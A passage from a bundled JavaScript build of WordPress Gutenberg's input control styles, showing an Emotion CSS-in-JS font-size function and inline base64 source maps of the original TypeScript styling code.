FByb3BzICkgPT4ge1xuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiAnMTNweCcsXG5cdFx0c21hbGw6ICcxMXB4Jyxcblx0XHRjb21wYWN0OiAnMTNweCcsXG5cdFx0J19fdW5zdGFibGUtbGFyZ2UnOiAnMTNweCcsXG5cdH07XG5cblx0Y29uc3QgZm9udFNpemUgPSBzaXplc1sgc2l6ZSBhcyBTaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcblx0Y29uc3QgZm9udFNpemVNb2JpbGUgPSAnMTZweCc7XG5cblx0aWYgKCAhIGZvbnRTaXplICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdHJldHVybiBjc3NgXG5cdFx0Zm9udC1zaXplOiAkeyBmb250U2l6ZU1vYmlsZSB9O1xuXG5cdFx0QG1lZGlhICggbWluLXdpZHRoOiA2MDBweCApIHtcblx0XHRcdGZvbnQtc2l6ZTogJHsgZm9udFNpemUgfTtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgZ2V0U2l6ZUNvbmZpZyA9ICgge1xuXHRpbnB1dFNpemU6IHNpemUsXG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcbn06IElucHV0UHJvcHMgKSA9PiB7XG5cdC8vIFBhZGRpbmdzIG1heSBiZSBvdmVycmlkZGVuIGJ5IHRoZSBjdXN0b20gcGFkZGluZ3MgcHJvcHMuXG5cdGNvbnN0IHNpemVzID0ge1xuXHRcdGRlZmF1bHQ6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdH0sXG5cdFx0c21hbGw6IHtcblx0XHRcdGhlaWdodDogMjQsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiAyNCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHR9LFxuXHRcdGNvbXBhY3Q6IHtcblx0XHRcdGhlaWdodDogMzIsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiAzMixcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHR9LFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzoge1xuXHRcdFx0aGVpZ2h0OiA0MCxcblx0XHRcdGxpbmVIZWlnaHQ6IDEsXG5cdFx0XHRtaW5IZWlnaHQ6IDQwLFxuXHRcdFx0cGFkZGluZ0xlZnQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdFx0fSxcblx0fTtcblxuXHRpZiAoICEgX19uZXh0NDBweERlZmF1bHRTaXplICkge1xuXHRcdHNpemVzLmRlZmF1bHQgPSBzaXplcy5jb21wYWN0O1xuXHR9XG5cblx0cmV0dXJuIHNpemVzWyBzaXplIGFzIFNpemUgXSB8fCBzaXplcy5kZWZhdWx0O1xufTtcblxuY29uc3Qgc2l6ZVN0eWxlcyA9ICggcHJvcHM6IElucHV0UHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIGdldFNpemVDb25maWcoIHByb3BzICkgKTtcbn07XG5cbmNvbnN0IGN1c3RvbVBhZGRpbmdzID0gKCB7XG5cdHBhZGRpbmdJbmxpbmVTdGFydCxcblx0cGFkZGluZ0lubGluZUVuZCxcbn06IElucHV0UHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIHsgcGFkZGluZ0lubGluZVN0YXJ0LCBwYWRkaW5nSW5saW5lRW5kIH0gKTtcbn07XG5cbmNvbnN0IGRyYWdTdHlsZXMgPSAoIHsgaXNEcmFnZ2luZywgZHJhZ0N1cnNvciB9OiBJbnB1dFByb3BzICkgPT4ge1xuXHRsZXQgZGVmYXVsdEFycm93U3R5bGVzOiBTZXJpYWxpemVkU3R5bGVzIHwgdW5kZWZpbmVkO1xuXHRsZXQgYWN0aXZlRHJhZ0N1cnNvclN0eWxlczogU2VyaWFsaXplZFN0eWxlcyB8IHVuZGVmaW5lZDtcblxuXHRpZiAoIGlzRHJhZ2dpbmcgKSB7XG5cdFx0ZGVmYXVsdEFycm93U3R5bGVzID0gY3NzYFxuXHRcdFx0Y3Vyc29yOiAkeyBkcmFnQ3Vyc29yIH07XG5cdFx0XHR1c2VyLXNlbGVjdDogbm9uZTtcblxuXHRcdFx0Jjo6LXdlYmtpdC1vdXRlci1zcGluLWJ1dHRvbixcblx0XHRcdCY6Oi13ZWJraXQtaW5uZXItc3Bpbi1idXR0b24ge1xuXHRcdFx0XHQtd2Via2l0LWFwcGVhcmFuY2U6IG5vbmUgIWltcG9ydGFudDtcblx0XHRcdFx0bWFyZ2luOiAwICFpbXBvcnRhbnQ7XG5cdFx0XHR9XG5cdFx0YDtcblx0fVxuXG5cdGlmICggaXNEcmFnZ2luZyAmJiBkcmFnQ3Vyc29yICkge1xuXHRcdGFjdGl2ZURyYWdDdXJzb3JTdHlsZXMgPSBjc3NgXG5cdFx0XHQmOmFjdGl2ZSB7XG5cdFx0XHRcdGN1cnNvcjogJHsgZHJhZ0N1cnNvciB9O1xuXHRcdFx0fVxuXHRcdGA7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdCR7IGRlZmF1bHRBcnJvd1N0eWxlcyB9XG5cdFx0JHsgYWN0aXZlRHJhZ0N1cnNvclN0eWxlcyB9XG5cdGA7XG59O1xuXG4vLyBUT0RPOiBSZXNvbHZlIG5lZWQgdG8gdXNlICYmJiB0byBpbmNyZWFzZSBzcGVjaWZpY2l0eVxuLy8gaHR0cHM6Ly9naXRodWIuY29tL1dvcmRQcmVzcy9ndXRlbmJlcmcvaXNzdWVzLzE4NDgzXG5cbmV4cG9ydCBjb25zdCBJbnB1dCA9IHN0eWxlZC5pbnB1dDwgSW5wdXRQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblx0XHRtYXJnaW46IDA7XG5cdFx0b3V0bGluZTogbm9uZTtcblx0XHR3aWR0aDogMTAwJTtcblxuXHRcdCR7IGRyYWdTdHlsZXMgfVxuXHRcdCR7IGRpc2FibGVkU3R5bGVzIH1cblx0XHQkeyBmb250U2l6ZVN0eWxlcyB9XG5cdFx0JHsgc2l6ZVN0eWxlcyB9XG5cdFx0JHsgY3VzdG9tUGFkZGluZ3MgfVxuXG5cdFx0Jjo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOjotbW96LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkuZGFya0dyYXlQbGFjZWhvbGRlciB9O1xuXHRcdH1cblxuXHRcdCY6LW1zLWlucHV0LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkuZGFya0dyYXlQbGFjZWhvbGRlciB9O1xuXHRcdH1cblxuXHRcdCZbdHlwZT0nZW1haWwnXSxcblx0XHQmW3R5cGU9J3VybCddIHtcblx0XHRcdC8qIHJ0bDppZ25vcmUgKi9cblx0XHRcdGRpcmVjdGlvbjogbHRyO1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgQmFzZUxhYmVsID0gc3R5bGVkKCBUZXh0ICk8IHsgbGFiZWxQb3NpdGlvbj86IExhYmVsUG9zaXRpb24gfSA+YFxuXHQmJiYge1xuXHRcdCR7IGJhc2VMYWJlbFR5cG9ncmFwaHkgfTtcblxuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0cGFkZGluZy10b3A6IDA7XG5cdFx0cGFkZGluZy1ib3R0b206IDA7XG5cdFx0bWF4LXdpZHRoOiAxMDAlO1xuXHRcdHotaW5kZXg6IDE7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBMYWJlbCA9IChcblx0cHJvcHM6IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzPFxuXHRcdHsgbGFiZWxQb3NpdGlvbj86IExhYmVsUG9zaXRpb247IGNoaWxkcmVuOiBSZWFjdE5vZGUgfSxcblx0XHQnbGFiZWwnLFxuXHRcdGZhbHNlXG5cdD5cbikgPT4gPEJhc2VMYWJlbCB7IC4uLnByb3BzIH0gYXM9XCJsYWJlbFwiIC8+O1xuXG5leHBvcnQgY29uc3QgTGFiZWxXcmFwcGVyID0gc3R5bGVkKCBGbGV4SXRlbSApYFxuXHRtYXgtd2lkdGg6IGNhbGMoIDEwMCUgLSAxMHB4ICk7XG5gO1xuXG5jb25zdCBwcmVmaXhTdWZmaXhXcmFwcGVyU3R5bGVzID0gKCB7XG5cdHZhcmlhbnQgPSAnZGVmYXVsdCcsXG5cdHNpemUsXG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0aXNQcmVmaXgsXG59OiBQcmVmaXhTdWZmaXhXcmFwcGVyUHJvcHMgJiB7IGlzUHJlZml4PzogYm9vbGVhbiB9ICkgPT4ge1xuXHRjb25zdCB7IHBhZGRpbmdMZWZ0OiBwYWRkaW5nIH0gPSBnZXRTaXplQ29uZmlnKCB7XG5cdFx0aW5wdXRTaXplOiBzaXplLFxuXHRcdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0fSApO1xuXG5cdGNvbnN0IHBhZGRpbmdQcm9wZXJ0eSA9IGlzUHJlZml4XG5cdFx0PyAncGFkZGluZ0lubGluZVN0YXJ0J1xuXHRcdDogJ3BhZGRpbmdJbmxpbmVFbmQnO1xuXG5cdGlmICggdmFyaWFudCA9PT0gJ2RlZmF1bHQnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdFsgcGFkZGluZ1Byb3BlcnR5IF06IHBhZGRpbmcsXG5cdFx0fSApO1xuXHR9XG5cblx0Ly8gSWYgdmFyaWFudCBpcyAnaWNvbicgb3IgJ2NvbnRyb2wnXG5cdHJldHVybiBjc3MoIHtcblx0XHRkaXNwbGF5OiAnZmxleCcsXG5cdFx0WyBwYWRkaW5nUHJvcGVydHkgXTogcGFkZGluZyAtIDQsXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBQcmVmaXhTdWZmaXhXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0JHsgcHJlZml4U3VmZml4V3JhcHBlclN0eWxlcyB9XG5gO1xuIl19 */");
24538 };
24539 var fontSizeStyles = ({
24540 inputSize: size3
24541 }) => {
24542 const sizes = {
24543 default: "13px",
24544 small: "11px",
24545 compact: "13px",
24546 "__unstable-large": "13px"
24547 };
24548 const fontSize = sizes[size3] || sizes.default;
24549 const fontSizeMobile = "16px";
24550 if (!fontSize) {
24551 return "";
24552 }
24553 return /* @__PURE__ */ css("font-size:", fontSizeMobile, ";@media ( min-width: 600px ){font-size:", fontSize, ";}" + (false ? "" : ";label:fontSizeStyles;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEwS1ciLCJmaWxlIjoiaW5wdXQtY29udHJvbC1zdHlsZXMudHN4Iiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBTZXJpYWxpemVkU3R5bGVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHR5cGUgeyBDU1NQcm9wZXJ0aWVzLCBSZWFjdE5vZGUgfSBmcm9tICdyZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi8uLi9jb250ZXh0JztcbmltcG9ydCB7IEZsZXgsIEZsZXhJdGVtIH0gZnJvbSAnLi4vLi4vZmxleCc7XG5pbXBvcnQgeyBUZXh0IH0gZnJvbSAnLi4vLi4vdGV4dCc7XG5pbXBvcnQgeyBiYXNlTGFiZWxUeXBvZ3JhcGh5LCBDT0xPUlMsIENPTkZJRywgcnRsIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHR5cGUgeyBMYWJlbFBvc2l0aW9uLCBTaXplLCBQcmVmaXhTdWZmaXhXcmFwcGVyUHJvcHMgfSBmcm9tICcuLi90eXBlcyc7XG5cbnR5cGUgQ29udGFpbmVyUHJvcHMgPSB7XG5cdGRpc2FibGVkPzogYm9vbGVhbjtcblx0aGlkZUxhYmVsPzogYm9vbGVhbjtcblx0X191bnN0YWJsZUlucHV0V2lkdGg/OiBDU1NQcm9wZXJ0aWVzWyAnd2lkdGgnIF07XG5cdGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uO1xufTtcblxuZXhwb3J0IGNvbnN0IFByZWZpeCA9IHN0eWxlZC5zcGFuYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRkaXNwbGF5OiBibG9jaztcbmA7XG5cbmV4cG9ydCBjb25zdCBTdWZmaXggPSBzdHlsZWQuc3BhbmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0YWxpZ24tc2VsZjogc3RyZXRjaDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogZmxleDtcbmA7XG5cbnR5cGUgQmFja2Ryb3BQcm9wcyA9IHtcblx0ZGlzYWJsZWQ/OiBib29sZWFuO1xuXHRpc0JvcmRlcmxlc3M/OiBib29sZWFuO1xufTtcblxuY29uc3QgYmFja2Ryb3BCb3JkZXJDb2xvciA9ICgge1xuXHRkaXNhYmxlZCxcblx0aXNCb3JkZXJsZXNzLFxufTogQmFja2Ryb3BQcm9wcyApOiBDU1NQcm9wZXJ0aWVzWyAnYm9yZGVyQ29sb3InIF0gPT4ge1xuXHRpZiAoIGlzQm9yZGVybGVzcyApIHtcblx0XHRyZXR1cm4gJ3RyYW5zcGFyZW50Jztcblx0fVxuXG5cdGlmICggZGlzYWJsZWQgKSB7XG5cdFx0cmV0dXJuIENPTE9SUy51aS5ib3JkZXJEaXNhYmxlZDtcblx0fVxuXG5cdHJldHVybiBDT0xPUlMudWkuYm9yZGVyO1xufTtcblxuZXhwb3J0IGNvbnN0IEJhY2tkcm9wVUkgPSBzdHlsZWQuZGl2PCBCYWNrZHJvcFByb3BzID5gXG5cdCYmJiB7XG5cdFx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0XHRib3JkZXItY29sb3I6ICR7IGJhY2tkcm9wQm9yZGVyQ29sb3IgfTtcblx0XHRib3JkZXItcmFkaXVzOiBpbmhlcml0O1xuXHRcdGJvcmRlci1zdHlsZTogc29saWQ7XG5cdFx0Ym9yZGVyLXdpZHRoOiAxcHg7XG5cdFx0Ym90dG9tOiAwO1xuXHRcdGxlZnQ6IDA7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdHJpZ2h0OiAwO1xuXHRcdHRvcDogMDtcblxuXHRcdCR7IHJ0bCggeyBwYWRkaW5nTGVmdDogMiB9ICkgfVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgUm9vdCA9IHN0eWxlZCggRmxleCApYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRwYWRkaW5nLXRvcDogMDtcblxuXHQvLyBGb2N1cyB3aXRoaW4sIGV4Y2x1ZGluZyBjYXNlcyB3aGVyZSBhdXhpbGlhcnkgY29udHJvbHMgaW4gcHJlZml4IG9yIHN1ZmZpeCBoYXZlIGZvY3VzLlxuXHQmOmZvY3VzLXdpdGhpbjpub3QoIDpoYXMoIDppcyggJHsgUHJlZml4IH0sICR7IFN1ZmZpeCB9ICk6Zm9jdXMtd2l0aGluICkgKSB7XG5cdFx0JHsgQmFja2Ryb3BVSSB9IHtcblx0XHRcdGJvcmRlci1jb2xvcjogJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRib3gtc2hhZG93OiAkeyBDT05GSUcuY29udHJvbEJveFNoYWRvd0ZvY3VzIH07XG5cdFx0XHQvLyBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSB3aWxsIHNob3cgdGhpcyBvdXRsaW5lLCBidXQgbm90IHRoZSBib3gtc2hhZG93LlxuXHRcdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdFx0b3V0bGluZS1vZmZzZXQ6IC0ycHg7XG5cdFx0fVxuXHR9XG5gO1xuXG5jb25zdCBjb250YWluZXJEaXNhYmxlZFN0eWxlcyA9ICggeyBkaXNhYmxlZCB9OiBDb250YWluZXJQcm9wcyApID0+IHtcblx0Y29uc3QgYmFja2dyb3VuZENvbG9yID0gZGlzYWJsZWRcblx0XHQ/IENPTE9SUy51aS5iYWNrZ3JvdW5kRGlzYWJsZWRcblx0XHQ6IENPTE9SUy51aS5iYWNrZ3JvdW5kO1xuXG5cdHJldHVybiBjc3MoIHsgYmFja2dyb3VuZENvbG9yIH0gKTtcbn07XG5cbmNvbnN0IGNvbnRhaW5lcldpZHRoU3R5bGVzID0gKCB7XG5cdF9fdW5zdGFibGVJbnB1dFdpZHRoLFxuXHRsYWJlbFBvc2l0aW9uLFxufTogQ29udGFpbmVyUHJvcHMgKSA9PiB7XG5cdGlmICggISBfX3Vuc3RhYmxlSW5wdXRXaWR0aCApIHtcblx0XHRyZXR1cm4gY3NzKCB7IHdpZHRoOiAnMTAwJScgfSApO1xuXHR9XG5cblx0aWYgKCBsYWJlbFBvc2l0aW9uID09PSAnc2lkZScgKSB7XG5cdFx0cmV0dXJuICcnO1xuXHR9XG5cblx0aWYgKCBsYWJlbFBvc2l0aW9uID09PSAnZWRnZScgKSB7XG5cdFx0cmV0dXJuIGNzcygge1xuXHRcdFx0ZmxleDogYDAgMCAkeyBfX3Vuc3RhYmxlSW5wdXRXaWR0aCB9YCxcblx0XHR9ICk7XG5cdH1cblxuXHRyZXR1cm4gY3NzKCB7IHdpZHRoOiBfX3Vuc3RhYmxlSW5wdXRXaWR0aCB9ICk7XG59O1xuXG5leHBvcnQgY29uc3QgQ29udGFpbmVyID0gc3R5bGVkLmRpdjwgQ29udGFpbmVyUHJvcHMgPmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0ZGlzcGxheTogZmxleDtcblx0ZmxleDogMTtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXG5cdCR7IGNvbnRhaW5lckRpc2FibGVkU3R5bGVzIH1cblx0JHsgY29udGFpbmVyV2lkdGhTdHlsZXMgfVxuYDtcblxudHlwZSBJbnB1dFByb3BzID0ge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemU/OiBib29sZWFuO1xuXHRkaXNhYmxlZD86IGJvb2xlYW47XG5cdGlucHV0U2l6ZT86IFNpemU7XG5cdGlzRHJhZ2dpbmc/OiBib29sZWFuO1xuXHRkcmFnQ3Vyc29yPzogQ1NTUHJvcGVydGllc1sgJ2N1cnNvcicgXTtcblx0cGFkZGluZ0lubGluZVN0YXJ0PzogQ1NTUHJvcGVydGllc1sgJ3BhZGRpbmdJbmxpbmVTdGFydCcgXTtcblx0cGFkZGluZ0lubGluZUVuZD86IENTU1Byb3BlcnRpZXNbICdwYWRkaW5nSW5saW5lRW5kJyBdO1xufTtcblxuY29uc3QgZGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogSW5wdXRQcm9wcyApID0+IHtcblx0aWYgKCAhIGRpc2FibGVkICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdHJldHVybiBjc3MoIHtcblx0XHRjb2xvcjogQ09MT1JTLnVpLnRleHREaXNhYmxlZCxcblx0fSApO1xufTtcblxuZXhwb3J0IGNvbnN0IGZvbnRTaXplU3R5bGVzID0gKCB7IGlucHV0U2l6ZTogc2l6ZSB9OiBJbnB1dFByb3BzICkgPT4ge1xuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiAnMTNweCcsXG5cdFx0c21hbGw6ICcxMXB4Jyxcblx0XHRjb21wYWN0OiAnMTNweCcsXG5cdFx0J19fdW5zdGFibGUtbGFyZ2UnOiAnMTNweCcsXG5cdH07XG5cblx0Y29uc3QgZm9udFNpemUgPSBzaXplc1sgc2l6ZSBhcyBTaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcblx0Y29uc3QgZm9udFNpemVNb2JpbGUgPSAnMTZweCc7XG5cblx0aWYgKCAhIGZvbnRTaXplICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdHJldHVybiBjc3NgXG5cdFx0Zm9udC1zaXplOiAkeyBmb250U2l6ZU1vYmlsZSB9O1xuXG5cdFx0QG1lZGlhICggbWluLXdpZHRoOiA2MDBweCApIHtcblx0XHRcdGZvbnQtc2l6ZTogJHsgZm9udFNpemUgfTtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgZ2V0U2l6ZUNvbmZpZyA9ICgge1xuXHRpbnB1dFNpemU6IHNpemUsXG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcbn06IElucHV0UHJvcHMgKSA9PiB7XG5cdC8vIFBhZGRpbmdzIG1heSBiZSBvdmVycmlkZGVuIGJ5IHRoZSBjdXN0b20gcGFkZGluZ3MgcHJvcHMuXG5cdGNvbnN0IHNpemVzID0ge1xuXHRcdGRlZmF1bHQ6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdH0sXG5cdFx0c21hbGw6IHtcblx0XHRcdGhlaWdodDogMjQsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiAyNCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHR9LFxuXHRcdGNvbXBhY3Q6IHtcblx0XHRcdGhlaWdodDogMzIsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiAzMixcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHR9LFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzoge1xuXHRcdFx0aGVpZ2h0OiA0MCxcblx0XHRcdGxpbmVIZWlnaHQ6IDEsXG5cdFx0XHRtaW5IZWlnaHQ6IDQwLFxuXHRcdFx0cGFkZGluZ0xlZnQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdFx0fSxcblx0fTtcblxuXHRpZiAoICEgX19uZXh0NDBweERlZmF1bHRTaXplICkge1xuXHRcdHNpemVzLmRlZmF1bHQgPSBzaXplcy5jb21wYWN0O1xuXHR9XG5cblx0cmV0dXJuIHNpemVzWyBzaXplIGFzIFNpemUgXSB8fCBzaXplcy5kZWZhdWx0O1xufTtcblxuY29uc3Qgc2l6ZVN0eWxlcyA9ICggcHJvcHM6IElucHV0UHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIGdldFNpemVDb25maWcoIHByb3BzICkgKTtcbn07XG5cbmNvbnN0IGN1c3RvbVBhZGRpbmdzID0gKCB7XG5cdHBhZGRpbmdJbmxpbmVTdGFydCxcblx0cGFkZGluZ0lubGluZUVuZCxcbn06IElucHV0UHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIHsgcGFkZGluZ0lubGluZVN0YXJ0LCBwYWRkaW5nSW5saW5lRW5kIH0gKTtcbn07XG5cbmNvbnN0IGRyYWdTdHlsZXMgPSAoIHsgaXNEcmFnZ2luZywgZHJhZ0N1cnNvciB9OiBJbnB1dFByb3BzICkgPT4ge1xuXHRsZXQgZGVmYXVsdEFycm93U3R5bGVzOiBTZXJpYWxpemVkU3R5bGVzIHwgdW5kZWZpbmVkO1xuXHRsZXQgYWN0aXZlRHJhZ0N1cnNvclN0eWxlczogU2VyaWFsaXplZFN0eWxlcyB8IHVuZGVmaW5lZDtcblxuXHRpZiAoIGlzRHJhZ2dpbmcgKSB7XG5cdFx0ZGVmYXVsdEFycm93U3R5bGVzID0gY3NzYFxuXHRcdFx0Y3Vyc29yOiAkeyBkcmFnQ3Vyc29yIH07XG5cdFx0XHR1c2VyLXNlbGVjdDogbm9uZTtcblxuXHRcdFx0Jjo6LXdlYmtpdC1vdXRlci1zcGluLWJ1dHRvbixcblx0XHRcdCY6Oi13ZWJraXQtaW5uZXItc3Bpbi1idXR0b24ge1xuXHRcdFx0XHQtd2Via2l0LWFwcGVhcmFuY2U6IG5vbmUgIWltcG9ydGFudDtcblx0XHRcdFx0bWFyZ2luOiAwICFpbXBvcnRhbnQ7XG5cdFx0XHR9XG5cdFx0YDtcblx0fVxuXG5cdGlmICggaXNEcmFnZ2luZyAmJiBkcmFnQ3Vyc29yICkge1xuXHRcdGFjdGl2ZURyYWdDdXJzb3JTdHlsZXMgPSBjc3NgXG5cdFx0XHQmOmFjdGl2ZSB7XG5cdFx0XHRcdGN1cnNvcjogJHsgZHJhZ0N1cnNvciB9O1xuXHRcdFx0fVxuXHRcdGA7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdCR7IGRlZmF1bHRBcnJvd1N0eWxlcyB9XG5cdFx0JHsgYWN0aXZlRHJhZ0N1cnNvclN0eWxlcyB9XG5cdGA7XG59O1xuXG4vLyBUT0RPOiBSZXNvbHZlIG5lZWQgdG8gdXNlICYmJiB0byBpbmNyZWFzZSBzcGVjaWZpY2l0eVxuLy8gaHR0cHM6Ly9naXRodWIuY29tL1dvcmRQcmVzcy9ndXRlbmJlcmcvaXNzdWVzLzE4NDgzXG5cbmV4cG9ydCBjb25zdCBJbnB1dCA9IHN0eWxlZC5pbnB1dDwgSW5wdXRQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblx0XHRtYXJnaW46IDA7XG5cdFx0b3V0bGluZTogbm9uZTtcblx0XHR3aWR0aDogMTAwJTtcblxuXHRcdCR7IGRyYWdTdHlsZXMgfVxuXHRcdCR7IGRpc2FibGVkU3R5bGVzIH1cblx0XHQkeyBmb250U2l6ZVN0eWxlcyB9XG5cdFx0JHsgc2l6ZVN0eWxlcyB9XG5cdFx0JHsgY3VzdG9tUGFkZGluZ3MgfVxuXG5cdFx0Jjo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlciB7XG5cd